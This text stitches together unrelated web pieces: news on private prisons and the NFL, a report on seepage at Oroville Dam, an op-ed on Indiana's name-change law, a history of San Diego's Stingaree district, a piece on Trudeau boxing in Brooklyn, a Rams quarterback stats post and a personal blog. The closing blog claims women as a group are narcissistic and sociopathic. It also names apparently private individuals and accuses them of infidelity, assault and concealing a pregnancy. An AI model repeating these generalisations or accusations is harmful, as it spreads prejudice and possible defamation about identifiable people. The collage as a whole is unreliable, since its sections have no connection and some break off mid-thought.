The overcrowded facilities have contributed to a multibillion dollar demand for private prisons. The industry argues it is helping the government save money. But others argue that for-profit prisons only increase the incentive to incarcerate more people. Almost half of those incarcerated in federal prisons are drug offenders. Another 16 percent of inmates are in prison for offences related to weapons, explosives and arson. Those convicted of immigration violations make up 12 percent of the federal prison population. And the impact of mass imprisonment spreads far beyond the prison walls. Sociologists have found that the rise in incarceration rates reduce social mobility and ensure both prisoners and their families remain trapped in a cycle of poverty.
The Steelers would prefer to trade Antonio Brown to an NFC team, while the Patriots and teams in the AFC North are considered no-trade zones, a source told ESPN.
The Patriots, Cardinals and Redskins each will get four of the 32 compensatory draft picks the NFL awarded on Friday.
The Chicago Bears are releasing kicker Cody Parkey following a difficult season, a league source confirmed. Parkey missed eight field goal attempts, including a 43-yarder that would have beaten the Eagles in the first round of the playoffs.
The Bears fall to the Eagles 16-15 after Cody Parkey's 43-yard field goal gets tipped, hits the upright and crossbar.
ABOUT COOKIES
From Day 1 of the Oroville spillway crisis in February, the California Department of Water Resources has never wavered in its declarations that, despite the disintegration of the massive concrete flood control outlet and a near-disaster caused by uncontrolled emergency reservoir flows down a rapidly eroding hillside, the stability of the massive dam itself was not and has never been threatened.
Despite those oft-repeated assurances, public questions about the dam’s integrity have persisted — in internet forums, in community meetings and, most recently, in a report released last week under the auspices of UC Berkeley’s Center for Catastrophic Risk Management.
That’s in part a reflection of public distrust of DWR after the spillway incident and in part a recognition that anything that seriously compromises the 770-foot-tall dam could endanger tens of thousands of lives, cripple a key element of California’s water-supply network and put the state’s entire economy at risk.
[Has California’s five-year drought washed away?]
Specifically, the questions have focused on an extensive area of moisture on the left side of the dam’s downstream face that’s known, even to the Department of Water Resources, as “the green spot.”
The spot, characterized by what state inspectors have termed “lush” vegetation during wet seasons that turns into dense thickets of dry weeds by late summer, is clearly visible on satellite images and measures about 700 feet long by 130 feet wide. That’s roughly the size of two football fields.
Last week’s study, led by internationally known civil engineer and risk management analyst Robert Bea, included several subreports asking whether the moisture at the green spot is a sign that water is leaking through the dam and weakening its inner structure.
Publicly, DWR officials have tended to dismiss those concerns. In response to questions at community meetings in Oroville and Yuba City in May, for instance, the agency said the green area is due to rainfall, that it first appeared while the dam was under construction, and that it poses no risk to the dam.
But outside public view, documents KQED obtained under the California Public Records Act show the Department of Water Resources has puzzled for years over the source of the seepage feeding the “green spot” and has been slow to act on a 2014 recommendation from independent experts to investigate the issue.
DWR’s uncertainty is reflected in a series of dam inspections between February and July 2011 — Northern California’s last wet winter before the five-year drought — that produced contradictory conclusions about the issue and whether it was a chronic condition or something that appeared only seasonally.
On Feb. 2, 2011, a DWR inspection party hiked to the green spot — about 200 vertical feet below the top of the massive structure — and found extensive moisture.
“The cause of the seepage has yet to be determined,” wrote Bill Pennington of DWR’s Division of Safety of Dams (DSOD).
One possibility, he said, was rainwater may have collected — or become “perched,” in engineering parlance — within the dam’s embankment. Another possible source: an area of seepage that had been noted in the dam’s abutment during construction in the 1960s.
Pennington suggested that the area should be monitored and “unexpected changes should be reported to DSOD.” In a field notebook, Pennington wrote that Paul Dunlap of DWR’s Dam Safety Branch was “thinking of mapping the area.”
After a May 2011 inspection visit, Pennington wrote that “the long-established wet area at mid-slope on the left end of the dam remains active” and recommended continued monitoring.
In July 2011, with the lake level unseasonably high — less than 2 feet below the edge of the dam’s emergency weir — DWR’s Paul Dunlap returned to check out the green spot. He found it had “essentially dried up.”
“The drying out of the green spot (especially under high reservoir conditions) provides further evidence that the green spot phenomena on the dam is associated with precipitation or abutment seasonal spring activity and not seepage through the dam,” Dunlap wrote in a report on his findings.
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Those periodic observations continued — sometimes the green spot was wet, sometimes dry — along with Pennington’s repeated recommendation that dam managers figure out how to monitor the area “so that year to year changes can be recorded.”
In August 2014, an independent board met to perform the dam’s five-year federal safety review. The board’s recommendations, released in December, called on DWR officials to investigate the green spot and try to determine whether it posed a threat to the dam.
“This issue has a high historical profile that needs to be conclusively addressed,” the consultants commented in one section of the Federal Energy Regulatory Commission’s 2014 Part 12D report.
The board said that while much of the dam’s behavior was understood, “one issue that seems to not have been addressed by previous stability analyses is that associated with the green spot on the downstream face of the dam.”
The consultants’ report noted that the final construction report for the dam, which went into service in 1968, indicated that the green spot area was observed even before Lake Oroville began rising behind the structure.
“The green spot is believed to be associated with pre-existing natural springs in the downstream left abutment area of the dam foundation,” the Part 12D report says. The concentration of moisture, the document speculates, could be due to the composition of the rock and earth used to build the dam’s downstream embankment. The fill, which may contain excessive volumes of very fine, dense material, “may prevent free drainage of flows from those underlying springs.”
The four consultants said that although there was no evidence of movement or instability in the green spot area, they recommended the Department of Water Resources investigate to see whether the persistent moisture could pose a risk to the dam, especially in the event an earthquake occurred during a period of particularly wet conditions.
In response, the Department of Water Resources has told the Federal Energy Regulatory Commission it intends to answer questions raised in the 2014 safety board report by September 2018.
The department last year got approval to bore a hole as deep as 150 feet in the dam’s left abutment, adjacent to the green spot area. The drilling was to pursue a separate issue raised by the safety board — the seismic vulnerability of Oroville Dam and nearby facilities. As part of that work, DWR told FERC, it planned to install an instrument for “monitoring groundwater levels in proximity (to) the historic ‘green spot’ within the dam embankment. Data collected may provide beneficial in understanding the origin of seepage within the left abutment.”
After a wave of questions raised by the UC Berkeley Center for Catastrophic Risk Management report issued last week, DWR says it’s preparing a preliminary report on the green spot as well as a longer-term study of the issue. The report is due out next week, DWR spokeswoman Erin Mellon said Friday.
In response to questions about DWR’s response to the safety board recommendations or suggestions for monitoring made in the department’s own inspection reports, Mellon said regular monitoring was ongoing and that “to date, no issues of concern have been noted.”
Bea, the leader of the UC Berkeley study, says that DWR has been complacent in its response to a host of issues related to the dam, including the green spot.
“I think these people are looking at these pieces of evidence and using their logic, ‘Well, this dam’s been here for 50 years. We’ve seen these wet spots before, and it’s performed satisfactorily,’ ” Bea said. “What they’re then concluding is that as you move forward into the future it will continue to perform satisfactorily. That conclusion is premised on a belief there won’t be any changes as you move into the future.”
Bea says that posture is similar to the one the department took to the dam’s spillway. The imposing concrete structure had undergone several rounds of extensive repairs before it failed in February. Despite that history of recurring problems, there’s no evidence that the department considered the possibility that the spillway might need to be rebuilt, and DWR inspections through last August consistently declared the structure fit for continued use.
Now, as vice president of the United States, Pence can and should weigh in on one of those unresolved items. Doing so could help to demonstrate that he recognizes the necessity of limits to the anti-immigrant laws passed by states, and, not incidentally, to show that he is not opposed to at least some of the rights of transgender people.
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An Indiana law enacted in 2010 — the same year as the more infamous Arizona anti-immigrant law, SB 1070 — is one of the most draconian anti-immigrant laws passed in the 21st century. Indiana’s 2010 House Bill 1047 strikes at the very heart of humanity and individuality by denying to all non-citizens the right to obtain a change of legal name. It is hard to imagine anything so definitive of personhood as the ability to change from the name provided at birth to one that better fits an individual’s sense of identity. It is a uniquely and centrally human right that Indiana denies to non-citizens.
Moreover, there is no subtlety to Indiana’s denial of this essential attribute of being human. The law prohibits all non-citizens — including asylees fleeing demonstrated persecution, refugees seeking freedom from the most dire of inhumane circumstances, and lawful permanent residents regardless of how long they have lived in the United States — from legally changing names.
There are, of course, significant benefits to immigrants from naturalization, including obtaining the right to vote, but such a basic element of personhood has never been one of the benefits or services contingent upon becoming a citizen. Since at least the end of the Civil War, our United States Constitution has considered all immigrants to be persons.
Denying personhood to an individual not yet eligible for naturalization, or to a permanent resident who chooses not to become a citizen, is peculiarly inconsistent with the modern Constitution, following the formal elimination of the abomination of slavery over 150 years ago.
Indiana’s inexplicable discrimination against all non-citizens has very real and dangerous effects for those deprived of personhood and forced to retain names that do not reflect their identity and autonomy. The courageous Indiana resident who has stepped forward to challenge the law — in a federal lawsuit filed by MALDEF and the Transgender Law Center — faces many such consequences as he is forced to carry and use identification documents that include the first name he was given at birth.
This Latino immigrant plaintiff, bravely taking on Indiana’s state government to strike down the unjust law, has had to endure confusion, ridicule, and ominous interrogation after presenting his identification to, among others, a restaurant server seeking proof of age, admitting nurses in an emergency room, and a police officer who pulled the plaintiff over for a minor traffic violation.
The danger in these interactions stems from the fact that the plaintiff is a transgender male, who lives his personal and professional life as a man, consistent with his sense of himself and his individual identity. His identification documents also note that his gender is male. However, because of the discriminatory Indiana law, he must carry and use identification documents that bear his conventionally female birth name.
As a result, he must frequently explain why his name is a female name, often having to identify himself as transgender in doing so. Of course, such a forced “outing” as transgender has potentially dire and dangerous consequences in light of the prejudice and discrimination, sometimes expressed through physical violence, that transgender people still face in our country.
In recent years, Pence has, with reason, faced question and criticism about his role in the passage of a state bill that would have sacrificed the rights of LGBT community members to the religious views of some businesspeople. While Pence did not sign Indiana’s discriminatory name-change law (his predecessor Mitch Daniels did), he has resisted the federal litigation filed to challenge it.
Whether or not he is aware of the legal tactics, pursued in his name, to delay and prevent a remedy for the plaintiff, Pence, as vice president, has an opportunity to urge his successor and the Indiana legislature to resolve the litigation and to repeal the offending law that denies all non-citizens the quintessentially human right to change names.
In doing so, the vice president could demonstrate a more humane posture toward both immigrant rights and LGBT rights, in contrast to the reputation that the Trump/Pence ticket acquired through its 2016 campaign and perpetuated through its initial changes in federal government websites.
Calling for repeal of the discriminatory Indiana name-change law would be a far more auspicious way to begin the administration.
Thomas A. Saenz is president and general counsel of MALDEF (Mexican American Legal Defense and Educational Fund), a national civil rights legal organization that works to promote the civil and constitutional rights of all Latinos living in the United States.
The Stingaree was a neighborhood of San Diego between the boom of the 1880s and the cleanup of 1916. The reason for the neighborhood's fame was its role as the home to the city's "undesirables", including prostitutes, pimps, drug dealers and gamblers. For similar reasons of societal exclusion, it was also the site of the city's first Chinatown.[1] Additionally, the neighborhood was home to many other lower-class citizens, and was in the center of a wider blue-collar residential area encompassing much of the city south of Broadway.[2]
Though the name "Stingaree" (a synonym of stingray) refers primarily to the period before 1916, the neighborhood's character as a vice district lasted until its massive redevelopment in the 1980s.
Boundaries [ edit ]
The exact boundaries of the neighborhood are contested and likely changed throughout the years. The Health Department identified them as First and Fifth streets and Market and K streets.[3]
Crime in the Stingaree [ edit ]
Gambling and prostitution were illegal in California after 1855. However, law enforcement throughout America and especially in the West saw these vices as impossible to eradicate. Special "restricted" districts were created in many cities where the vices were allowed to be practiced in the open, provided that they were kept within the boundaries of the district and that there were no greater crimes involved. Illegal payments from the vice trade to the police were also typical components of these bargains. The Stingaree, like the more famous Barbary Coast in San Francisco, was one of these districts.[3]
The neighborhood saw a concentration of drug peddlers, brothels and gambling halls. Many other establishments in the neighborhood participated in petty crime, like the Railroad Coffeehouse on Fifth and K that sold liquor after midnight under the title "Coffee Royal" (coffee and whisky) for 15¢. There were at least 120 openly illegal establishments in the district in 1888.[3]
Between 1887 and around 1896 Wyatt Earp owned four saloons and gambling halls in San Diego, one on Fifth, one on Fourth Street, and two others near Sixth and E.[4][5][6] The saloons offered 21 games including faro, blackjack, poker, keno, and other Victorian-American games of chance like pedro and monte.[4] At the height of San Diego's real estate boom, Earp made up to $1,000 a night in profit.[7]
The Oyster Bar on Fifth Avenue was one of the more popular saloons in the Stingaree district.[8]:39:p71 One of the reasons it drew a good crowd was the brothel upstairs named the Golden Poppy. Each room was painted a different color and each prostitute wore a matching dress.[9] In 2003, the Oyster Bar saloon was converted into a restaurant by former San Diego mayor Roger Hedgecock who opened Roger’s On Fifth.[10]
Chinese population [ edit ]
The southwest corner of the Stingaree (between Market, K, First and Fourth) was the site of the city's Chinatown from the 1880s until the 1930s. During this period, the Chinese in California were marginalized by sometimes violent anti-Chinese movements, as well as the passage of laws that made it a crime to hire Chinese laborers while there were non-Chinese willing to take the work.[1] This, together with a decline in Chinese fishing due to the fear of being blocked readmission into the country from the waters, led to the creation of a thoroughly impoverished and ghettoized population. Many Chinese fell prey to the neighborhood's opium dens and gambling houses.
Social unrest [ edit ]
The Industrial Workers of the World found a ready audience with the Stingaree's marginalized working-class population. Their attempts to organize the residents were met with a 1912 ordinance banning street speaking. Furthermore, the city police were given special powers to break up demonstrations. What followed were years of demonstrations by the IWW, AFL, and other groups. These demonstrations were often violently suppressed by the police, turning the neighborhood into a scene of overt social conflict. .[2]
City action [ edit ]
Starting with the 1880s, there were many election-time promises to reform the Stingaree, most of which were not acted on. In 1912 the Health Department began to eradicate vice in the district. They acted against the recommendations San Diego police chief Keno Wilson, who believed that this would simply spread prostitution into other parts of the city. The health department's action was in keeping with the national Progressive movement that called for closing these districts.[11]
Between 1912 and 1916 over 120 structures were destroyed, transforming the image of the city and creating a large homeless population.[3] Many prostitutes were driven out of town. A large portion of the Chinatown was razed in the process as well.[3] Although the name of the district disappeared, extensive raids against prostitution took place as late as 1938, and significant massage parlor raids occurred in 1973.[11] Vice and poverty dominated the area until its redevelopment in the 1980s.
Present day [ edit ]
The wild character of the neighborhood was finally removed by modern-day redevelopment. Many of the neighborhood's residents—and modern red-light uses—were removed with eminent domain, tax increment financing and other strong-arm techniques. The redevelopment efforts hinged on turning the neighborhood into an 1880s-themed upscale shopping area. The new Gaslamp Quarter recreates a "gaslamp era" town that has few characteristics of its actual history as the Stingaree. The last vestiges of the neighborhood's red-light history have been overcome by historical recreationism.
There is now a restaurant & nightclub called Stingaree at the corner of 6th and Island. In 2011, a taxi driver veered his cab into a crowd outside of the bar and injured 23 people.
In 2015, Stingaree was bought out by Hakkasan Group, remodeled, & is now Omnia Nightclub.[12][13]
References [ edit ]
Where to begin?
I guess at New York University, where Trudeau arrived at 9:30 this morning to talk to students, many of whom on the campus had absolutely no idea he was there, which blew my mind — not that American college students would be clueless about the politics of our northern neighbour and most important trade partner, but because security forces hadn’t cleared and secured the area.
When the U.S. president comes to New York, all of the streets he’s travelling are barricaded, the subway in proximity is shut down, the airspace above it all cleared.
Trash cans are removed, and snipers are all over roofs. You can’t help but know he’s here.
But the 600 of us who did figure out the prime minister is here and went to see him didn’t even have to go through metal detectors to hang out with him. Trudeau —we called him “Mr. Trudeau,” not “Mr. Prime Minister” — was casual, too.
He wore his shirt-sleeves rolled up and his tie loose. He leaned on the back of a chair while considering students’ questions.
Then, he actually said stuff — stuff that an American politician would never ever in a ba-zillion years say: “I am a liberal.” “I am a feminist.” “I have a gender-equal cabinet.” “Our health care system is pretty good.” “I have a cabinet minister who is functioning, legally blind … that's a terrible thing to say!”
On Canada's great potential for international peacekeeping, he also said this:
"Canada has an awful lot to offer whether it's bilingual officers, whether it's specialists, whether it's a capacity to engage in the world in difficult places without some of the baggage that so many other Western countries have — either colonial pasts or perceptions of American imperialism as a critique that's often out there. That challenge is something Canada is absolutely right to rise to."
Seriously, by U.S. standards that’s the stuff of utopian fantasy-cum-political self-immolation.
Just so you don’t think I’m being a condescending superpower citizen, rest assured we could all tell that Trudeau is no naïve provincial. His people — and he was traveling with four bouncer-sized guys with curly wires coming out their ears and maple leaf pins in their lapels — had set up the room for optics.
Three-quarters of the multicultural audience was seated behind the prime minister, a “Kumbaya” backdrop for the dozen or so camera people taking video and snapping photos.
Also, Trudeau was world-class at humble-bragging. After admitting, “I am resonating” around the world (he was named one of Time magazine’s "100 Most Influential People" today), the prime minister said that it's probably not fair to expect other G7 leaders to be out-and-proud progressive — they’re old… an “older generation.”
Then Trudeau made us all feel dumb (and defensive) about our antediluvian mono-lingualism by saying goodbye in English and French.
Other world leaders might have used the rest of their day to suck up to business leaders or other politicians, but Trudeau is so cool he went to work out — in Brooklyn.
Gleason’s gym is located in the shadow of a bridge on an old industrial, but now gentrified street.
A deli across the street has European-styled bagels (like such a thing even exists!). Anyway, though Gleason’s trained Muhammad Ali and Mike Tyson (at another, far less chic location), the gym still feels gritty — peeling paint, crappy ventilation. Seriously, it’s far and away the smelliest political venue I’ve ever been to.
I looked out a window and some cars pulled up.
Maybe I’m just terrorism traumatized, but I’d really like to suggest that if you’re the coolest G7 leader you might want to consider a motorcade (maybe with those cute Barbie-sized flags; you can put them on your armourized vehicle and a decoy), and maybe you should consider getting an armourized vehicle and not tooling around New York in a local car-service (I could tell by the license plate) SUV. Maybe you shouldn’t just jaunt into a gym where no one has even had their bag checked!
But Trudeau did just jaunt in, carrying his own bag. He was wearing black shorts — long, kind of hip-hop style — and a red sleeveless shirt that showed off his really admirable biceps, and his left shoulder tattoos. Very few of the couple of dozen people hitting bags and each other even looked over at him.
The owner, who is apparently an old boxing friend of the prime minister’s, introduced him to Yuri Foreman, a one-time world middleweight junior champion.
Foreman taped up Trudeau’s hands. During this studly ritual, he and the prime minister ignored the dozen of us press people snapping photos and video taping. The two men got in a ring with two girls and two boys who are part of a program called Give a Kid a Chance. With Foreman barking instructions, Trudeau “sparred” with each kid for about two minutes.
The fighting looked pretty faux, though one of the boys landed a bop on the prime minster’s forehead.
After those photo ops were over and the group shots (with boxing gloves raised!) in front of the U.S. and Canadian flag someone had thought to put up, Foreman went toe-to-toe with Trudeau. I don’t know boxing, but it didn’t look like they were hitting as hard as they could.
A woman started shooing us press people out. I was actually pretty happy to go. It was super cool to be five feet from a swinging world leader, but it also really reeked.
It all reminded me of when shortly after Obama was elected.
What's charming about Trudeau — he’s pretty unguarded and says what he means … he isn’t defensive, careful to the point of blandness. But the higher his star rises the more he will be.
Even Trump is trying to reign it in.
Video of Trudeau boxing in Brooklyn - video by Amanda Robb
Video by Amanda Robb
I broke down stats for every start for every team this past regular season. Where two QBs played I used the stats from the QB that attempted the most passes as my default starter. So in the Carolina game Bradford was the QB of record for lack of a better descriptor.
For any QB their average passer rating for the season is a composite of games generally in the neighborhood of half above and half below the average by definition. Yes there were some really bad games (like Kaep’s 20.1 rating 71.5 points below his average vs Seattle which left him with 10 games above his ave and only 6 below) and some really good games (like Alex Smith’s 158.3 rating 69.2 points higher than his average vs the Raiders which left him with only 6 games above his average and 9 below). But those were anomalies and most QBs had a more natural distribution.
So I was curious as to what the win rate was if a QB had a passer rating above his average regardless of what magnitude, 0.1 point or 70 points above. League wide the win rate was 65%. Not really that surprising, when a QB plays better, he wins more often. However, the corollary must also be true. If a team allows an opposing QB to register a passer rating any amount over their season average statistically they will lose 65% of the time.
Here is where the Rams were very unkind to Sam. In all seven of his starts the D allowed the opposing QB to turn in a passer rating above their season’s ave. And it wasn’t like just a point or two, the lowest number of points above their ave was +12.7, the second lowest was +23.2 and two were over +40! So not to make myself completely crazy I just reran the numbers with a passer rating +12.7 or higher, thereby including all seven starts by Bradford. Now the league wide likelihood of losing jumps to 74%. Considering the Rams record in those games was 3-4 a loss % of 57% looks OK.
So if the opposing QBs Sam faced average +28.8 (the highest aka WORST in the league by far with no other player +20) what did his competitors in the NFC West face? As for the other three starting QBs in the division, they were 1st, 2nd and 5th BEST: Wilson -18 (46.8 points better than what the Rams D served up to Sam), Kaep -18 (42.4 points better) and Palmer -9.2 (38.0 points better). So the Rams had the worst pass D in the league in Sam’s seven starts and the other three teams in the division had all among the top five best, I think it’s easy to see why we finished last in the division.
Now you might be thinking this is a look in relative terms, what about more specific terms. Yeah, let’s go there next. The passer rating of the opposing QBs in Bradford’s starts was 108.8, again the highest in the league. This is the equivalent of facing a QB with a better passer rating than Philip Rivers, Aaron Rodgers or Drew Brees every single game. In Wilson’s starts the opposing QBs had a rating of 65.9, akin to facing a QB worse than Geno Smith but slightly better than Seneca Wallace every game. In Kaep’s starts the opposing QBs had a rating of 75.0, akin to facing a QB not quite as good as Chad Henne every game. In Palmers’s starts the opposing QBs had a rating of 81.4, like facing a QB worse than Matt Cassel but better than our own Clemons every game.
Are you beginning to see the problem here?
OK, let’s move on to another stat that is not the QBs fault but has a major impact on wins and losses. 222 times this year a team rushed for less than 100 yards. The NFL average likelihood of losing if your team can’t break the century mark is 66%. In Bradford’s seven starts only once did the Ram’s rush for more than 100 yards. But wait, it gets worse, what if you rush for under 50 yards? This happened 44 times but I threw out four because on two occasions both teams rushed for under 50 and somebody had to win. In the remaining 40 occurrences your statistical likelihood of winning was a whopping 20%! We managed that twice for Bradford and once for Clemons, all losses.
So now what happens if we put those two stats together? How many times did a team rush for less than 100 yards and allow the opposing QB to have a passer rating at least 12.6 points above their season’s ave? I used 12.6 because it was the lowest number above their rating the Rams allowed in Bradford’s seven starts, the next lowest being 23.2. It happened 82 times with the likelihood of losing sitting at 81.7% (15-67). The Rams served six such games up to Sam and that was out of seven games, not 16. Of the 15 wins under such circumstances only two were against teams with winning records, one being the when the Rams beat AZ.
So let’s recap. In EVERY ONE of Sam’s starts there was at least one factor that made the likelihood of winning horrible. The D allowing the passer ratings to swell against us meant that the statistical likelihood of winning was around 1 in 4. Add to that the poor running game which in six of seven games meant on that stat alone the likelihood of winning was only 1 in 3. In two games where we ran for less than 50 yards the likelihood of winning was only 1 in 5. Now remember that in all six of those running deficient games we also had the abysmal pass D on top of that. When you put that all together his best chance of winning statistically was a season high of 26% in the one game we rushed for more than 100 yards and much less than that I the other six. Yet they won 3 of the 7.
Now I know as a numbers geek that the NFL is not an equal distribution of talent. Better teams beat the odds and worse teams don’t. But even if you look at the bottom six QBs in ESPN’s QB stats for the regular season in terms of passer rating (Flacco, Schaub, Weeden, Eli, Pryor and Geno Smith) they won 60.5% of the games they had a passer rating above their average. That is only 4.4% points below the league average of 64.9% so say what you want, these numbers are real.
Like Sam, hate Sam or ambivalent, Sam was dealt a really crappy hand in every game he started this year in terms of things beyond a QBs control. Given the circumstances I think the outcome was remarkably good. Now if you are of the mindset that the only thing you want to look at with a QB is wins and losses I completely understand, your minds made up so don’t confuse you with facts.
In Mozart’s day, when orchestras were small by modern standards, he boasted in a letter of hearing one “with 40 violins” play a symphony of his. Berlioz fantasized about an ensemble with 467 players. And even if it is a bit hyperbolic, there is a reason Mahler’s epic Symphony No. 8 became known as his “Symphony of a Thousand.”
But as some American orchestras struggle in the post-downturn economy, they are taking a page from the corporate world and thinking smaller: They are downsizing, shedding some full-time positions while making up the difference with less costly part-time musicians.
The Atlanta Symphony Orchestra ended a contentious labor dispute and a two-month lockout this month by agreeing to a new contract that will effectively keep it smaller for the next few years — placing it in the company of major ensembles in Philadelphia, Detroit, Indianapolis, Minnesota and elsewhere that have temporarily or permanently trimmed their number of full-time musicians in recent seasons to save money. Some are now slowly rebuilding.
“The dental school?” asked the african male driver, “What are you getting done?”
“They’re doing a root canal, to prepare for my implants.”
“Implants? Aren’t those painful? how did you lose the teeth?”
“My estranged wife knocked them out.”
Silence
“May I ask how that happened?”
“We were on a trip to Wildwood, NJ. It was the end of the trip. It had not been a good trip. She had been fighting with me before we left, and she did some things that were really disrespectful, like kissing a girl in a bathroom, and then telling me to deal with it.”
“What???”
“Yes, that happened. Then, after a less than stellar weekend with friends, we were all driving back, and they asked us to stop at a house on the way. I asked her to come in and she refused. I knew it would take a long time, and I wanted her to come in because I know I am non-confrontational, and would not be able to get them to hurry it up, so we could get home.”
“Okay.”
“So over an hour passed, and she finally comes in. I’m sitting on the couch with them. She just stands there, staring at me, and asks me to show her where the bathroom is. They tell us where it is, and she asked me to come with her. It was next to the kitchen. She doesn’t go to the bathroom, but pulls me into the kitchen. She had me sit her up on the counter, literally had me pick her up to place her on it, and I thought we were going to talk.”
“So what happened?”
We’re stuck in traffic, on the way to the NYU School of dentistry, so I actually have time to tell him this story. It’s rare that NYC taxi Drivers actually talk to you any longer, so, since he’s interested, I continue.
“She’s sitting there, and I’m waiting for her to talk, and then, suddenly, she raised her left fist, and tried to bring it down on my face. I was surprised, but I caught it. She lifted her right fist and did the same thing. I caught that one also.”
“WHAT?? Where did that come from? Why did she do that?”
“I have no idea, but that’s not the end of it. She then quickly leaned back, shoots forward, head buttes me in the mouth.”
“WHAT THE HELL???”
“Yes. I let go of her wrists, and grabbed my mouth. She leaned back, crossed her arms, and smiled.”
“You’re kidding me.”
“I wish I were.”
Silence, then, as he turns the corner,
“What happened after that?”
“I had to get a root canal, because the tooth was pressing against the nerve. Her dentist. She suggested him. I found out later they should have just tapped the tooth back into the canal.”
“But how does this become implants?”
“Well, because her dentist was an idiot, some Doctor Paul Stanciewickz, this was back in Virginia, the root canal was never finished, and that, according to my new Doctors, allowed for infection to get up into my gums. That spread to four other teeth, so now I am forced to pay almost $40,000 to replace the six teeth. One lower tooth is random. No idea why that one had to come out.”
“She knocked out your teeth. She’s not paying for any of this?”
“Nope. And missing teeth causes a lot of problems. Go on interviews, and even if I’m wearing a three piece suit, they still judge you on your appearance. Teeth missing right in front of your mouth makes them think you’re a crack head. I have six teeth to replace, and she’s partying around the world and not paying a dime.”
“You’re serious?”
“Yup. She played victim after the tooth came out, cheated with some DJ, and ran off to Poland, then India, a place she knew I wanted to go to since 2001, when we met, and then moved here, to New York, before me, after refusing to for YEARS, with the DJ. Made a point to connect with people I met a year before her, while she was out of the country, and cried victim and said I was the one that abused her.”
“What the fuck???”
We’re getting close to the Dental School now, but he still wants to talk.
“Can’t you sue her?”
“Statute of limitations. I can’t do a thing.”
“Didn’t you press charges when she attacked you?”
“We were together, getting married. Of course I loved her, so I was an idiot and didn’t. Anyway, have you ever tried to be a guy reporting domestic violence from a woman?”
“You know what? I know what you mean. My friend is going through the same thing. His wife beats him and embarrasses him, and they don’t do anything about it.”
“Exactly, and in Virginia, it’s even worse.”
“So what did you do?”
“The only thing I could do, I started a blog.”
“Really?”
“Well, first I tried to party, and distract myself from everything, but she kept pulling things, while she was out of the country, like contacting my employers and ruining positions for me. I even became suicidal at one point. It’s hard for a man, in this situation, because no one believes you. YOU are always the bad guy.”
It didn’t even take him a second to ponder this.
“Man, thank you. You’re right. There’s NO protection for men against women. We’re just told to deal with it, be a man, get over it. Thank you for what you’re doing. No one does this. No one helps men who are attacked by women. Thank you so much. Keep doing what you’re doing, man.”
I paid him, shook hands, and went in to my appointment.
This is Domestic Abuse Month, and it’s been a long time since I have written an entry. And, in an interesting twist of fate, “Gone Girl” has also been released in theaters this month. Why is this relevant? Before I proceed, I should say,
“Spoiler Alert”!!!!
if you haven’t seen the movie, you should probably stop reading, go see it, and come back to this. Seriously, because this will be an exploratory of my personal experience, reveal what the movie is truly about, and illustrate a huge problem men like me have always known about, but have been defenseless in confronting. “Gone Girl”, now the number one movie in the United States, is, if one were to believe the contrived reviews, about a marriage. “Gone Girl” is not about a marriage. What “Gone Girl” is really about is the socialized control women have over society. Their duplicity, their manipulative nature, how they can get away with nearly anything, but “virtue” of the fact that they are women. All of the reviews attempt to obfuscate it, attempt to gloss over, to hide the true issue, however David Fincher was very successful in fleshing out a veiled allegory toward the contemporary feminist movement, illustrating how damagingly toxic the narcissism of women actually is. “That aspect of marriage as a con game, or whatever. The idea that we perform a sort of ideal version of ourselves that the other person wants. We perhaps belie our true nature in order to perform to the ideal. David and I talked a lot about living in an age of rampant narcissism.”
Women are narcissistic. Women are borderline sociopathic. Women are so much so, that they manipulate EACH OTHER.
When a woman feels “hurt” over her own mistake(s), she will instead choose to hurt someone else, more than likely the man she feels manipulated her (or, to be more accurate, did not fall easily toward her own manipulations, such as the student that fully knew she was having an affair with a married man.) Sometimes it’s because they come from Narcissistic parents (the mother) The absolutely obscure and cryptic “clues” they leave, expecting you to figure them out, with absolutely no reference at all (her maddeningly frustrating scavenger hunts) They manipulate men, and throw each other under the bus (the girl at the cabin) Men are disposable to them (Neil Patrick Harris) And once you figure they are a narcissistic sociopath, you know how to manipulate them back (the television interview) And they will explain away their own evil as “being a survivor” (how she justifies murdering Neil Patrick Harris to her husband, and getting away with it) There are so many allegories illustrated in “Gone Girl”, toward modern narcissism, especially female narcissism, in this film that it’s quite disturbing. At least it lets me know I’m not the only one that has seen this, both in relationships and in society. Oh! I almost forgot: Narcissists have a limited bag of tricks, a limited tool box, whether it’s to attract (the husband), or to punish (the wife), and bank on creating constant emotional states of confusion, to keep themselves from being found out as what they are. You’ll see this MULTIPLE times in the film. Basically, in the end, it shows that not only are both sexes narcissistic, but that women are MORE TOXIC, and MORE DAMAGING in their narcissistic sociopathy, but are allowed to get away with it, because, let’s face it, they’re “women”.
The myth of “male dominance” is a well manicured deception. And this has been happening for CENTURIES.
I have always said if a man does what a woman does, he’s labeled a “Narcissist”, but if a woman does it, she’s just “A Woman”.
Back to the spoilers……..
“Gone Girl” is about a female narcissistic sociopath that shows the entire range of manipulation that women wield in their absolutely socialized, essentially accepted, behaviors. These are the same behaviors I experienced with Ania. As I said earlier, David Fincher and the writer, whom is a female, must have had their experience with Narcopaths, especially female narcopaths, because they lay the entire tool just bare in that film The actions, such as her leaving a clue based scavenger hunt, every year, with obscure clues only SHE could understand, that you don’t put together until after they are gone, and your head is clear of the constant emotional distress they put you through Ania left her journals behind, I can only assume expecting me to read them. (I didn’t read them until I learned of her and Chris “Exeris” Michael Sevanick. I respect privacy, unlike Ania, who read my journals before we were even dating. I realize now she did that in order to read me, and manipulate me. That’s what narcissists do.)
Ania had her email address and phone number sent to me via an old email she knew I had access to, but never checked, I realized later, to give me a way to contact her, before she jumped BACK into bed with Chris. She was already fucking him before she left. Uzi Grindler told me. It was Chris’s child she adopted out, after she went to india, to hide her pregnancy, not mine. Little obscure clues, just so they can say you never paid attention to them, so they can justify to themselves what they do to
you. The manipulation of other women, and men, as Ania did with Eva “Annika” Backstrom and Uzi Grindler (Uzi wanted to fuck Ania anyway
“Don’t they look so alike?”,
Uzi would constantly say about Ania and Annika, and apparently DID, which allowed Ania to get them to ignore incidents they witnessed, such as physically attacking me in the back of their rented Infinity SUV, my only offense being listening to an iPod, on our way to a Stella Nutella show in NYC, and, later, connecting Ania to Chris Exeris, Annika’s ex boyfriend, all in Uzi’s wanting to get revenge upon me for outing his cheating on Annika, which I was forced to do, because he refused to stay out of my relationship – I was actually curing Ania of her narcissism, and he reversed it all, for his own selfishness, Uzi and Eva “Annika” Backstrom, themselves being Narcissistic Sociopaths.) In one of our earliest blogs, we get to hear Ania’s version of how my teeth were lost……..
